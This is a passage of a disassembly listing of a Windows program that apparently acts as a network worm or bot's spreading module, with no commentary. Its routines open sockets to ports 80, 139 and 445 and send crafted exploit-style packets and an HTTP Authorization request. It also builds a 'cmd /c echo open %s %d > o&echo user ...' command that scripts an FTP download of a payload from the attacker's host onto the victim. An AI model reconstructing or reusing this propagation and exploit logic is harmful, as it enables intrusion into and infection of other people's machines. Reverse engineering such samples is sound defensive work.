		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323C4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43204C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323B8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323B4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323B0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43239F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------

loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F

loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------

loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9FC

loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9E0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA34
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------

loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320DC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43210C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6FC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432054
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259

loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------

loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1

loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl

loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432118
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1

loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2

loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]

loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------

loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------

loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1

loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx

loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax

loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432164[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F

loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi

loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]

loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484

loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx

loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB98
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------

loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax

loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]

loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------

loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1

loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx

loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432310
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB720
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4321A8
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------

loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi

loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9E4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------

loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------

loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8

loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch

loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al

loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA7C
		test	esi, esi
		jnz	short loc_40D737

loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 2680F3Dh

loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E

loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]

loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi

loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88

loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A

loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A

loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173

loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]

loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------

loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688

loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688

loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------

loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688

loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A

loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977

loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------

loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------

loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------

loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
